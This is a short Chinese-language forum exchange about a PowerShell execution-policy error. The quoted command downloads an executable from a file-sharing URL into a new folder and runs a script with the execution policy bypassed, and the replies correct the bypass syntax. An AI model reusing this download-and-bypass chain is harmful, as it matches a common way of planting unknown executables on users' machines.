Get-ExecutionPolicy : A positional parameter cannot be found that accepts argument 'ByPass'.
这是我尝试运行命令时遇到的错误:
cd / & mkdir win & cd win & echo (wget 'https://alterupload.com/?t7p0e1rh01' -OutFile a.exe) > b.PS1 &powershell ExecutionPolicy CurrentUser ByPass -File b.ps1"
不太确定该怎么办,我正在运行Windows 10周年纪念版
您需要使用 &powershell -ExecutionPolicy bypass
,您不需要设置执行策略的范围,因为此策略仅适用于此 powershell.exe,不适用于全局系统。
我的建议是只使用 Set-ExecutionPolicy Bypass -Scope Process -Force
.经典很难出错。